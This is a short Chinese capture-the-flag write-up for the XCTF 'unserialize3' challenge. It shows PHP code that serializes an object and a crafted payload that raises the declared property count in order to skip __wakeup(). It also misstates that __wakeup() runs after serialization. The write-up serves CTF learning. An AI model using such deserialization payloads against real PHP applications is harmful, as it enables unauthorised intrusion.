XCTF-unserialize3(php __wakeup()函数的利用)

题目如下:
XCTF-unserialize3(php __wakeup()函数的利用)_第1张图片
考点:如何跳过__wakeup()函数。

首先看看__wakeup()原理:
__wakeup()原理:将在序列化之后立即被调用。
漏洞原理:当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

于是我们现在php在线测试构造代码:


class xctf{
public $flag =111;
public function __wakeup(){
exit(‘bad requests’);
}
}
$c = new xctf();
print(serialize($c));
?>

得到结果O:4:”xctf”:1:{s:4:”flag”;s:3:”111″;}

由于要让表示属性个数的值大于其真实值,所以把1改为2:

于是构造payload:/?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111″;}

得到flag:
XCTF-unserialize3(php __wakeup()函数的利用)_第2张图片

你可能感兴趣的:(ctf,php)